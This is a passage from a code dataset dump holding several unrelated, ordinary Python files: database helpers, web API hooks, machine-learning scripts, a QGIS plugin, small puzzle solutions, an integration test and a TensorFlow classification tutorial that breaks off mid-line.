ReleaseDependencyKind: [specifier_name_foo, specifier_name_bar] }\n\n and updates the release dependencies with the desired table\n \"\"\"\n insert_query = \\\n \"\"\"\n INSERT INTO release_dependencies\n (name, version, kind, specifier)\n VALUES\n (%(name)s, %(version)s, %(kind)s, %(specifier)s)\n \"\"\"\n\n old_specifier = self.get_release_dependencies(project_name,\n version)\n for kind, specifiers in specifier_dict.items():\n\n # no need to update if the state is already there\n if kind in old_specifier and specifiers == old_specifier[kind]:\n continue\n\n self._delete_release_dependencies_of_kind(project_name, version,\n kind)\n for specifier in specifiers:\n self.engine.execute(\n insert_query,\n name=project_name,\n version=version,\n kind=kind,\n specifier=specifier\n )\n\n def _delete_release_dependencies_of_kind(self, project_name, version,\n kind):\n query = \\\n \"\"\"\n DELETE FROM release_dependencies\n WHERE name = %(name)s\n AND version = %(version)s\n AND kind = %(kind)s\n \"\"\"\n self.engine.execute(\n query,\n name=project_name,\n version=version,\n kind=kind\n )\n\n def _insert_journal_entry(self, project_name, version, message,\n username, userip):\n date = datetime.datetime.now()\n query = \\\n \"\"\"\n INSERT INTO journals\n (name, version, action, submitted_date,\n submitted_by, submitted_from)\n VALUES\n (%(name)s, %(version)s, %(action)s, %(submitted_date)s,\n %(submitted_by)s, %(submitted_from)s)\n \"\"\"\n self.engine.execute(\n query,\n name=project_name,\n version=version,\n action=message,\n submitted_date=date.strftime('%Y-%m-%d %H:%M:%S'),\n submitted_by=username,\n submitted_from=userip\n )\n","sub_path":"warehouse/packaging/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":27887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"548778151","text":"# Project Euler Problem 4 / 6-19-18\n# Unable to think of a nice solution at the moment.\ndef main():\n max_palindrome = 0\n for num1 in range(999, 900, -1): # The two numbers will be > than 900\n for num2 in range(999, 900, -1):\n product = num1 * num2 # New value to check if palindrome\n if is_palindrome(str(product)) and product > max_palindrome:\n max_palindrome = product\n print(max_palindrome)\n\n\ndef is_palindrome(str_num):\n if str_num == str_num[::-1]: # Is number == reverse. 2332 ?= 2332\n return True;\n\n\nmain()\n\n","sub_path":"python/Problems 1-50/Problem_4.py","file_name":"Problem_4.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"458578692","text":"# Licensed to the StackStorm, Inc ('StackStorm') under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport httplib\n\nimport webob\nfrom oslo.config import cfg\nfrom pecan.hooks import PecanHook\nfrom six.moves.urllib import parse as urlparse\n\nfrom st2common import log as logging\nfrom st2common.exceptions import access as exceptions\nfrom st2common.util.jsonify import json_encode\nfrom st2common.util.auth import validate_token\nfrom st2common.constants.auth import HEADER_ATTRIBUTE_NAME\nfrom st2common.constants.auth import QUERY_PARAM_ATTRIBUTE_NAME\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass CorsHook(PecanHook):\n\n def after(self, state):\n headers = state.response.headers\n\n origin = state.request.headers.get('Origin')\n origins = cfg.CONF.api.allow_origin\n serve_webui_files = cfg.CONF.api.serve_webui_files\n\n # Build a list of the default allowed origins\n api_port = cfg.CONF.api.port\n public_api_url = cfg.CONF.auth.api_url\n default_allowed_origins = []\n\n # Default WebUI URL\n default_allowed_origins.append('http://localhost:3000')\n\n if serve_webui_files:\n # Local API URL\n default_allowed_origins.append('http://localhost:%s' % (api_port))\n default_allowed_origins.append('http://127.0.0.1:%s' % (api_port))\n\n if serve_webui_files and public_api_url:\n # Public API URL\n default_allowed_origins.append(public_api_url)\n\n if origin:\n if '*' in origins:\n origin_allowed = '*'\n else:\n # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header\n if serve_webui_files and origin in default_allowed_origins:\n # Allow requests originating from the API server\n origin_allowed = origin\n else:\n origin_allowed = origin if origin in origins else 'null'\n else:\n default_allowed_origins = ','.join(default_allowed_origins)\n origin_allowed = origins[0] if len(origins) > 0 else default_allowed_origins\n\n methods_allowed = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']\n request_headers_allowed = ['Content-Type', 'Authorization', 'X-Auth-Token']\n response_headers_allowed = ['Content-Type', 'X-Limit', 'X-Total-Count']\n\n headers['Access-Control-Allow-Origin'] = origin_allowed\n headers['Access-Control-Allow-Methods'] = ','.join(methods_allowed)\n headers['Access-Control-Allow-Headers'] = ','.join(request_headers_allowed)\n headers['Access-Control-Expose-Headers'] = ','.join(response_headers_allowed)\n if not headers.get('Content-Length') \\\n and not headers.get('Content-type', '').startswith('text/event-stream'):\n headers['Content-Length'] = str(len(state.response.body))\n\n def on_error(self, state, e):\n if state.request.method == 'OPTIONS':\n return webob.Response()\n\n\nclass AuthHook(PecanHook):\n\n def before(self, state):\n # OPTIONS requests doesn't need to be authenticated\n if state.request.method == 'OPTIONS':\n return\n\n state.request.context['token'] = self._validate_token(request=state.request)\n\n def on_error(self, state, e):\n if isinstance(e, exceptions.TokenNotProvidedError):\n LOG.exception('Token is not provided.')\n return self._abort_unauthorized()\n if isinstance(e, exceptions.TokenNotFoundError):\n LOG.exception('Token is not found.')\n return self._abort_unauthorized()\n if isinstance(e, exceptions.TokenExpiredError):\n LOG.exception('Token has expired.')\n return self._abort_unauthorized()\n\n @staticmethod\n def _abort_unauthorized():\n return webob.Response(json_encode({\n 'faultstring': 'Unauthorized'\n }), status=401)\n\n @staticmethod\n def _abort_other_errors():\n return webob.Response(json_encode({\n 'faultstring': 'Internal Server Error'\n }), status=500)\n\n @staticmethod\n def _validate_token(request):\n \"\"\"\n Validate token provided either in headers or query parameters.\n \"\"\"\n headers = request.headers\n query_string = request.query_string\n query_params = dict(urlparse.parse_qsl(query_string))\n\n token_in_headers = headers.get(HEADER_ATTRIBUTE_NAME, None)\n token_in_query_params = query_params.get(QUERY_PARAM_ATTRIBUTE_NAME, None)\n return validate_token(token_in_headers=token_in_headers,\n token_in_query_params=token_in_query_params)\n\n\nclass JSONErrorResponseHook(PecanHook):\n \"\"\"\n Hook which ensures that error response always contains JSON.\n \"\"\"\n\n def on_error(self, state, exc):\n request_path = state.request.path\n if cfg.CONF.api.serve_webui_files and request_path.startswith('/webui'):\n # We want to return regular error response for requests to /webui\n return\n\n status_code = state.response.status\n if status_code == httplib.NOT_FOUND:\n message = 'The resource could not be found'\n elif status_code == httplib.INTERNAL_SERVER_ERROR:\n message = 'Internal Server Error'\n else:\n message = str(exc)\n\n response_body = json_encode({'faultstring': message})\n\n headers = state.response.headers or {}\n if headers.get('Content-Type', None) == 'application/json':\n # Already a JSON response\n return\n\n headers['Content-Type'] = 'application/json'\n headers['Content-Length'] = str(len(response_body))\n\n return webob.Response(response_body, status=status_code,\n headers=headers)\n","sub_path":"st2common/st2common/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":6487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"629980795","text":"#%pylab inline\nimport sys\nimport argparse\nimport numpy as np\nimport numpy.ma as ma\nimport matplotlib.pyplot as plt\nimport pylab as pyl\nimport datetime\nfrom sklearn.datasets import load_svmlight_file\nfrom sklearn import linear_model, decomposition, datasets\nfrom sklearn import cross_validation, svm\nfrom scipy.sparse import csr_matrix\nfrom sklearn import preprocessing\n#from __future__ import print_function\n\n##################################\n#Parse options\n##################################\nparser = argparse.ArgumentParser()\nparser.add_argument(\"file\",help='File containing data')\nparser.add_argument(\"-a\", \"--accuracy\", help='Plot accuracy', action=\"store_true\")\nparser.add_argument(\"-u\", \"--units\", default=' ', help='Y axis units')\nparser.add_argument(\"-s\", \"--subtitle\", default= ' ', help='Plot subtitle')\nparser.add_argument(\"-n\", \"--normalization\", help='Normalization of features', action=\"store_true\")\nparser.add_argument(\"-i\", \"--iterations\", help='Number of iterations in error calc', default=50, type=int)\nargs = parser.parse_args()\n\nin_file = open(sys.argv[1],'r')\t#Data file\nif args.accuracy:\t\t#Plot type: a = Accuracy, other = Error \n ptype = 'Accuracy'\nelse:\n ptype = 'Error'\nif args.units != ' ':\t\t#Units\n units = '(' + args.units + ')'\nelse:\n units = ''\nif args.normalization:\t\t#Normalization\n print (\"Normalization of features\")\n\n\n##################################\n#Define Parameters\n##################################\ntsize = 0.20\t\t#test size\niterations = args.iterations \t#iterations over a dataset size\nstype = 'full '\t\t#'full' calculates cross validation over remaining data after picking data for training\n\n##################################\n#Data load\n##################################\n#Load data from file\nX_ini, y_ini = load_svmlight_file(in_file)\nprint (\"Processing File: %s\" % str(sys.argv[1]))\n\n#extend data\nm = X_ini.shape[0]\nn = X_ini.shape[1]\nind = n\nX_ini = csr_matrix(X_ini).toarray()\nX_extended = np.zeros((m, n*(n-1)))\nX_extended[:,:n] = X_ini \nfor i in range(n):\n for j in range(i,n):\n X_extended[:,ind] = np.multiply(X_ini[:,i],X_ini[:,j])\n ind = ind+1\nX_ini = X_extended\n\n#Normalization of features\n\n#Method 1: Standarize only non-zero entries: \n#X_mask = (ma.masked_equal(csr_matrix(X_ini).toarray(),0))\n#X_ini = csr_matrix(ma.filled((X_mask - ma.mean(X_mask,0))/ ma.std(X_mask,0)))\n\n#Method 2: Only Normalization of features. 0's remain 0's:\n#X_ini = preprocessing.normalize(X_ini)\n\n#Method 3: Standarization of all entries. Uses all entries for std and mean calculations, and doesn't keep zero entries:\n#X_ini = csr_matrix(X_ini[:,:]).toarray()\t\t\t\t\t#Convert X into a dense matrix\n#X_ini = preprocessing.scale(X_ini)\t\t\t\t\t#Produces a dense matrix\n#X_ini = csr_matrix(preprocessing.scale(csr_matrix(X_ini).toarray()))\t#Produces a compressed matrix\n\n#separating data sets for cross validation\n#data_train,data_test,target_train,target_test = cross_validation.train_test_split(X_ini,y_ini,test_size = tsize, random_state = datetime.datetime.now().microsecond)\n\n#ignoring empty values\n#X_ini = X_ini[:,(0,1,9,10,11,12,14,15,16,17,18,22,23)]\n \n##################################\n#Processing data\n##################################\n#assigning the Model\n#clf = svm.SVR() \nlasso = linear_model.Lasso(alpha = 0.1, tol = 0.001)\nenet = linear_model.ElasticNet(alpha = 1, l1_ratio = 1)\nclf = linear_model.Ridge (alpha = .5,tol=0.000001, normalize=True)\t#solver='svd': raise ValueError('expected matrix')\n \n#compute the accuracy\ndef compute_measure(x, y, model):\n yfit = model.predict(x)\n if ptype == 'Accuracy':\n return model.score(x,y)\n if ptype == 'Error':\n return np.sqrt(np.mean((y - yfit) ** 2))\n\n#compute points to draw \ndef drawLearningCurve1(model):\n #sizes = np.linspace( X_ini.shape[0]/10, X_ini.shape[0]*(1-tsize), 50).astype(int)\n sizes = np.linspace( 2, X_ini.shape[0]*(1-tsize), 50).astype(int)\n train_measure_iter = np.zeros((sizes.shape[0],iterations))\n crossval_measure_iter = np.zeros((sizes.shape[0],iterations))\n train_measure = np.zeros((sizes.shape[0],2))\n crossval_measure = np.zeros((sizes.shape[0],2)) \n for iteration in range(iterations):\n if np.mod(iteration,10) == 0: print (\"Iteration %d\" % iteration)\n for i,size in enumerate(sizes):\n\n data_train,data_test,target_train,target_test = \\\n cross_validation.train_test_split( \t\t\t#split data sets for cross validation\n X_ini, y_ini, test_size = tsize, \t\t\t#use np.array(y_ini)[:,1] for multilabel\n random_state = datetime.datetime.now().microsecond)\t#use 42 to reproduce initial plots\n\n if stype == 'full':\n model.fit(X_ini[:size,:],y_ini[:size])\t\t#fit the model to training data\n crossval_measure_iter[i,iteration] = \\\n compute_measure(X_ini[size:,:],y_ini[size:],model)\t\t\n train_measure_iter[i,iteration] = \\\n compute_measure(X_ini[:size,:],\t\t\t#compute the corresponding measure for validation \n y_ini[:size],model)\t\t#and training dataset in current iteration\n\n else:\n model.fit(data_train[:size,:],target_train[:size]) #fit the model to training data\n crossval_measure_iter[i,iteration] = \\\n compute_measure(data_test,target_test,model) \n train_measure_iter[i,iteration] = \\\n compute_measure(data_train[:size,:], #compute the corresponding measure for validation \n target_train[:size],model) #and training dataset in current iteration\n\n\n crossval_measure[:,0] = np.mean(crossval_measure_iter,1)\t\t#mean of error/accuracy for iterations\n train_measure[:,0] = np.mean(train_measure_iter,1)\n crossval_measure[:,1] = np.std(crossval_measure_iter,1)\t\t#standard deviation in error/accuracy calculation\n train_measure[:,1] = np.std(train_measure_iter,1)\n #draw\n fig,ax = plt.subplots()\n ax.set_xlabel('Dataset Size')\n ax.set_ylabel(ptype + ' ' + units)\n ax.set_xlim(0, data_train.shape[0])\n ax.errorbar(sizes, crossval_measure[:,0],\n xerr=None, yerr=crossval_measure[:,1], \n lw = 1, label=\"Cross Val\", fmt='g')\n ax.errorbar(sizes, train_measure[:,0],\n xerr=None, yerr=train_measure[:,1], \n lw = 1, label=\"Training\", fmt='b')\n ax.set_title('Learning Curve - ' + ptype + '\\n' + args.subtitle)\n ax.legend(loc=0)\n fig.savefig(\"Output.png\")\n plt.show()\n\ndrawLearningCurve1(clf)\n\n#from sklearn import preprocessing\n#X_full=csr_matrix(X_ini).toarray()\n#X_full_scaled = preprocessing.scale(X_full)\n\n#no resta la media, quedan en cero los ceros iniciales\n#X_scaled = preprocessing.scale(X_ini,with_mean=False) \n\n#Da lo mismo que el preprocessing.scale:\n#dev = np.std(X_full,axis=0)\n#mu = np.mean(X_full,axis=0)\n#(X_ini - mu)/dev\n\n#X_ini[237,:]\n#X_full[237,:]\n#X_full_scaled[237,:]\n#X_scaled[237,:]\n\n#preprocessing.normalize(X_ini)\n#X_ini,y_ini = load_svmlight_file('test.txt',multilabel=True)\n#X_full=csr_matrix(X_ini).toarray()\n#X_mask = (ma.masked_equal(X_full,0))\n#X_mask_norm = (X_mask - ma.mean(X_mask,0))/ ma.std(X_mask,0)\n#X_mask_norm_csr = csr_matrix(ma.filled(X_mask_norm))\n#X_mask_norm_csr\n\n#preprocessing.normalize(X_ini)\n#X_ini,y_ini = load_svmlight_file('test.txt',multilabel=True)\n#X_mask = (ma.masked_equal(csr_matrix(X_ini).toarray(),0))\n#X_ini = csr_matrix(ma.filled((X_mask - ma.mean(X_mask,0))/ ma.std(X_mask,0)))\n\n\n\n\n#X_dense = csr_matrix(X_ini).toarray()\n\n#for i in range(24):\n# pyl.hist(X_dense[:,i], 100, normed=0, histtype='bar', label=str(i), range = (0,28373152))\n#plt.ylabel(\"Frequency\")\n#plt.xlabel(\"Value\")\n#pyl.legend(loc=0)\n#plt.title(\"Features Histogram\")\n#pyl.show()\n\n","sub_path":"LearningCurves.py","file_name":"LearningCurves.py","file_ext":"py","file_size_in_byte":7843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"104145343","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n/***************************************************************************\n className\n A QGIS plugin\n description\n -------------------\n begin : 2016-12-03\n copyright : (C) 2016 by Nico\n email : nico@nico\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\n\nimport dzetsaka.scripts.mainfunction as mainfunction\n\nfrom PyQt4.QtCore import QSettings\nfrom PyQt4.QtGui import QIcon\nfrom processing.core.GeoAlgorithm import GeoAlgorithm\nfrom processing.core.parameters import ParameterRaster\nfrom processing.core.parameters import ParameterNumber\nfrom processing.core.parameters import ParameterVector\n#from processing.core.outputs import OutputRaster\nfrom processing.core.parameters import ParameterTableField\n#from processing.core.parameters import ParameterBoolean\nfrom processing.core.parameters import ParameterSelection\nfrom processing.core.outputs import OutputFile\nfrom PyQt4.QtGui import QMessageBox\n#import sys\n\nclass trainAlgorithm(GeoAlgorithm):\n INPUT_RASTER = 'INPUT_RASTER'\n INPUT_LAYER = 'INPUT_LAYER'\n INPUT_COLUMN = 'INPUT_COLUMN'\n TRAIN = \"TRAIN\"\n TRAIN_ALGORITHMS = ['Gaussian Mixture Model','Random-Forest','K-Nearest Neighbors','Support Vector Machine']\n TRAIN_ALGORITHMS_CODE = ['GMM','RF','KNN','SVM']\n SPLIT_PERCENT= 'SPLIT_PERCENT'\n OUTPUT_MODEL = \"OUTPUT_MODEL\"\n OUTPUT_MATRIX = \"OUTPUT_MATRIX\"\n \n def getIcon(self):\n return QIcon(\":/plugins/dzetsaka/img/icon.png\")\n \n def defineCharacteristics(self):\n\n # The name that the user will see in the toolbox\n self.name = 'Train algorithm'\n\n # The branch of the toolbox under which the algorithm will appear\n self.group = 'Learning and classification'\t\n\n\n self.addParameter(\n ParameterRaster(\n self.INPUT_RASTER,\n self.tr('Input raster'),\n False))\n \n # ROI\n # VECTOR\n self.addParameter(\n ParameterVector(\n self.INPUT_LAYER,\n 'Input layer',\n [ParameterVector.VECTOR_TYPE_ANY], False))\n \n # TABLE / COLUMN \n self.addParameter(\n ParameterTableField(\n self.INPUT_COLUMN,\n 'Field (column must have classification number (e.g. \\'1\\' forest, \\'2\\' water...))',\n self.INPUT_LAYER, optional=False)) # save model\n \n # Train algorithm\n self.addParameter(\n ParameterSelection(\n self.TRAIN,\"Select algorithm to train\",self.TRAIN_ALGORITHMS, 0))\n \n # SPLIT %\n self.addParameter(\n ParameterNumber(\n self.SPLIT_PERCENT,\n self.tr('Pixels (0.5 for 50%) to keep for classification'),\n minValue=0,maxValue=1,default=0.5))\n \n # SAVE AS\n # SAVE MODEL\n self.addOutput(\n OutputFile(\n self.OUTPUT_MODEL,\n self.tr(\"Output model (to use for classifying)\")))\n \n # SAVE CONFUSION MATRIX\n self.addOutput(\n OutputFile(\n self.OUTPUT_MATRIX,\n self.tr(\"Output confusion matrix\"),\n ext='csv'))\n\n def processAlgorithm(self, progress):\n\n INPUT_RASTER = self.getParameterValue(self.INPUT_RASTER)\n INPUT_LAYER = self.getParameterValue(self.INPUT_LAYER)\n INPUT_COLUMN = self.getParameterValue(self.INPUT_COLUMN)\n OUTPUT_MODEL = self.getOutputValue(self.OUTPUT_MODEL)\n OUTPUT_MATRIX = self.getOutputValue(self.OUTPUT_MATRIX)\n SPLIT_PERCENT = self.getParameterValue(self.SPLIT_PERCENT)\n TRAIN = self.getParameterValue(self.TRAIN)\n \n # Retrieve algo from code\n SELECTED_ALGORITHM = self.TRAIN_ALGORITHMS_CODE[TRAIN]\n \n libOk = True\n \n if SELECTED_ALGORITHM=='RF' or SELECTED_ALGORITHM=='SVM' or SELECTED_ALGORITHM=='KNN':\n try:\n import sklearn\n except:\n libOk = False\n \n # learn model\n if libOk:\n mainfunction.learnModel(INPUT_RASTER,INPUT_LAYER,INPUT_COLUMN,OUTPUT_MODEL,SPLIT_PERCENT,0,OUTPUT_MATRIX,SELECTED_ALGORITHM)\n else:\n QMessageBox.information(None, \"Please install scikit-learn library to use:\", str(SELECTED_ALGORITHM)) \n\n \n \n\n ","sub_path":"convert_processing/algorithms/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"561478780","text":"# https://programmers.co.kr/learn/courses/30/lessons/42577\n\ndef solution(phone_book): \n \n prefixs = phone_book \n for string in phone_book:\n for prefix in prefixs:\n if prefix != string and string.startswith(prefix):\n return False\n \n \n return True","sub_path":"Level2/phone_list.py","file_name":"phone_list.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"350012249","text":"import requests\nimport pytest\nfrom time import sleep\nfrom datetime import datetime, timezone, timedelta\n\n@pytest.fixture\ndef prattler():\n from prattler.control import Prattler\n return Prattler(\"prattler\")\n\ndef set_schedule_time(time, delay=1.0):\n requests.post(\"http://schedule/time\", data={\"value\": time.isoformat()})\n sleep(delay)\n\ndef initialize_fast_schedule(time):\n requests.put(\"http://schedule/frequency\", data={\"value\": 10})\n set_schedule_time(time, delay=0)\n\ndef post_subscription(email, lat, lon, starting_from):\n return requests.post(\"http://subscriptions/subscription\", data={\n \"email\": email,\n \"lat\": lat,\n \"lon\": lon,\n \"starting_from\": starting_from\n })\n\ndef test_all(prattler):\n def initialize_sattelite():\n satellite_text = \"ISS\\r\\n1 25544U 98067A 17006.20011595 .00003203 00000-0 55869-4 0 9992\\r\\n2 25544 51.6436 125.8293 0007365 56.4536 12.6243 15.54002363 36564\"\n return prattler.get(\"/NORAD/elements/stations.txt\").respond(satellite_text)\n\n def initialize_mailgun():\n return prattler.post(\"/v2/mg.theiss.space/messages\").respond(\"cool...\")\n\n def advance_time_end_check_notification(expected_sighting, tz_offset, email):\n expected_notification = expected_sighting - timedelta(hours=8)\n expected_sighting_local = expected_sighting.astimezone(timezone(timedelta(hours=tz_offset)))\n\n set_schedule_time(expected_notification - timedelta(minutes=3))\n # assert not mailgun.called\n\n set_schedule_time(expected_notification + timedelta(minutes=3))\n print(mailgun.requests, flush=True)\n assert len(mailgun.requests) == 1\n assert mailgun.requests[0][\"form\"][\"to\"] == [email]\n assert mailgun.requests[0][\"form\"][\"text\"] == [f\"You will be able to see the ISS in your location at {expected_sighting_local.isoformat()}.\"]\n\n del mailgun.requests\n\n ##################\n\n satellite = initialize_sattelite()\n mailgun = initialize_mailgun()\n\n starting_time = datetime(2017, 2, 11, 20, 00, 00, tzinfo=timezone.utc)\n initialize_fast_schedule(starting_time)\n\n assert not satellite.called\n\n post_subscription(\"abc@def.com\", 50.066667, 19.933333, starting_time)\n\n assert satellite.called\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 2, 12, 16, 34, 32, 813688, tzinfo=timezone.utc),\n tz_offset=1,\n email=\"abc@def.com\"\n )\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 2, 13, 17, 18, 41, 183068, tzinfo=timezone.utc),\n tz_offset=1,\n email=\"abc@def.com\"\n )\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 2, 14, 16, 26, 15, 606261, tzinfo=timezone.utc),\n tz_offset=1,\n email=\"abc@def.com\"\n )\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 2, 15, 17, 10, 30, 385206, tzinfo=timezone.utc),\n tz_offset=1,\n email=\"abc@def.com\"\n )\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 3, 29, 17, 59, 43, 255221, tzinfo=timezone.utc),\n tz_offset=2,\n email=\"abc@def.com\"\n )\n\n advance_time_end_check_notification(\n expected_sighting=datetime(2017, 3, 30, 18, 42, 53, 551590, tzinfo=timezone.utc),\n tz_offset=2,\n email=\"abc@def.com\"\n )\n","sub_path":"src/int/test_all.py","file_name":"test_all.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"578434700","text":"from django.conf.urls import url, include\nfrom rest_framework import routers\nfrom horusmonitorweb.api import views\n\n\nurlpatterns = [\n #url(r'^$', include(router.urls)),\n url(r'^machine/(?P[^\\s]+)$', views.machine_detail),\n url(r'^os/', views.os_info),\n url(r'^cpu/',views.cpu_info),\n url(r'^memory/', views.memory_info),\n url(r'^disc/', views.disc_info),\n url(r'^service/', views.service_info)\n]","sub_path":"horusmonitorweb/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"646633753","text":"def Huge_Fib(n,m):\n\n if n == 0 : return 0\n elif n == 1: return 1\n else:\n a,b = 0,1\n for i in range(1,n):\n a, b = b, (a+b) % m\n print(b);\n\ndef main():\n a= int(input())\n b = int(input())\n \n Huge_Fib(a,b)\nmain()\n \n","sub_path":"Labinfo_3/Punto_3.py","file_name":"Punto_3.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"514107329","text":"'''\n code taken from\n\t https://www.tensorflow.org/tutorials/keras/basic_classification\n\n This script trains a neural network model to classify images of clothing, like sneakers and shirts.\n It serves as a fast-paced overview of a complete TensorFlow program.\n'''\n\n#################\n# configuration #\n#################\n\nprint('Loading libraries ...')\n# import the TensorFlow library\nimport tensorflow as tf\n# import the Keras API, which is a high-level API to build and train deep learning models\nfrom tensorflow import keras\n\n# library for using numpy arrays\nimport numpy as np\n# library for creating plots\nimport matplotlib.pyplot as plt\n\n\n########\n# data #\n########\n\n'''\n load the data set with the clothing images, which is already divided into\n - a part which will be used to train the model \n - and an additional part to test the newly created model\n \n The data consists of a bunch of grayscale images - represented as matrices - and their corresponding labels (target values).\n There are 60,000 clothing images in the training set, with each image represented as 28 x 28 pixels as well as 60,000 labels, \n where each label is an integer between 0 and 9, corresponding to the type of clothing shonw in the associated image.\n There are 10,000 images in the test set, again, each image is represented as 28 x 28 pixels as well as 10,000 labels.\n'''\n\nprint('Loading data set ...')\n\nfashion_mnist = keras.datasets.fashion_mnist\n\n(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\n\n# class names associated with the different numbers of the labels\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', \n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n\n\n#################\n# preprocessing #\n#################\n\n'''\n The data must be preprocessed before training the network. If you inspect the first image in the training set (the lines below), \n you will see that the pixel values fall in the range of 0 to 255. These values are scaled to a range of 0 to 1 before feeding to the neural \n\tnetwork model. For this, the datatype of the image components is casted from an integer to a float, and divided by 255.\n It's important that the training set and the testing set are preprocessed in the same way.\n'''\n\n# display the first image to show, that the pixels range from 0 to 255\nplt.figure()\nplt.imshow(train_images[0])\nplt.colorbar()\nplt.gca().grid(False)\nplt.show()\n\nprint('Preprocessing data ...')\n\n# scale the images (the actual preprocessing step)\ntrain_images = train_images / 255.0\ntest_images = test_images / 255.0\n\n# plot the first images and the corresponding labels to check the dataset\nplt.figure(figsize=(10,10))\nfor i in range(25):\n plt.subplot(5,5,i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(train_images[i], cmap=plt.cm.binary)\n plt.xlabel(class_names[train_labels[i]])\nplt.show()\n\n\n###################\n# build the model #\n###################\n\n'''\n The basic building block of a neural network is the layer. Layers extract representations from the data fed into them. Most of deep learning \n consists of chaining together simple layers. Most layers, like tf.keras.layers.Dense, have parameters that are learned during training.\n The first layer in this network, tf.keras.layers.Flatten, transforms the format of the images from a 2d-array (of 28 by 28 pixels), to a 1d-array \n of 28 * 28 = 784 pixels. This layer simply unstacks rows of pixels in the image and lines them up. This layer has no parameters to learn, since \n it only reformats the data.\n After the pixels are flattened, the network consists of a sequence of two tf.keras.layers.Dense layers. These are densely-connected, or fully-connected,\n neural layers. The first Dense layer has 128 nodes (or neurons). The second (and last) layer is a 10-node softmax layer—this returns an array of 10 \n probability scores that sum to 1. Each node contains a score that indicates the probability that the current image belongs to one of the 10 digit classes.\n\n Before the model is ready for training, it needs a few more settings. These are added during the model's compile step:\n - Loss function:\tThis measures how accurate the model is during training. Minimizing this function \"steers\" the model in the right direction.\n - Optimizer: \t\tThis is how the model is updated based on the data it sees and its loss function.\n - Metrics:\t\t\tUsed to monitor the training and testing steps. The example uses accuracy, the fraction of the images that are correctly classified\n'''\n\nprint('Building up the model...')\n\n# create the layers\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=tf.nn.relu),\n keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\n# compile the model\nmodel.compile(optimizer=tf.train.AdamOptimizer(), \n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n\n###################\n# train the model #\n###################\n\n'''\n Training the neural network model requires the following steps:\n\n 1) Feed the training data to the model—in this example, the train_images and train_labels arrays.\n 2) The model learns to associate images and labels.\n 3) Ask the model to make predictions about a test set — in this example, the test_images array - and verify that the predictions match the labels from the test_labels array.\n\n'''\n\nprint('Training the model...')\n\n# start the training\nmodel.fit(train_images, train_labels, epochs=5)\n\n\n#################################\n# evaluate the model's accuracy #\n#################################\n\n'''\n It turns out, the accuracy on the test dataset is a little less than the accuracy on the training dataset. This gap between training accuracy and test accuracy is an \n example of overfitting. Overfitting is when a machine learning model performs worse on new data than on their training data.\n'''\n\ntest_loss, test_acc = model.evaluate(test_images, test_labels)\n\nprint('Test accuracy:', test_acc)\n\n\n####################\n# make predictions #\n####################\n\n'''\n A prediction is an array of 10 numbers. These describe the \"confidence\" of the model that the image corresponds to each of the 10 different articles of clothing. \n\tThe image will most likely belong to the label associated with the highest confidence value.\n'''\n\nprint('Predicting the labels of the test data ...')\n\npredictions = model.predict(test_images)\n\n# Plot the first 25 test images, their predicted label, and the true label\n# Color correct predictions in green, incorrect predictions in red\nplt.figure(figsize=(10,10))\nfor i in range(25):\n plt.subplot(5,5,i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(test_images[i], cmap=plt.cm.binary)\n predicted_label = np.argmax(predictions[i])\n true_label = test_labels[i]\n if predicted_label == true_label:\n color = 'green'\n else:\n color = 'red'\n plt.xlabel(\"{} ({})\".format(class_names[predicted_label], \n class_names[true_label]),\n 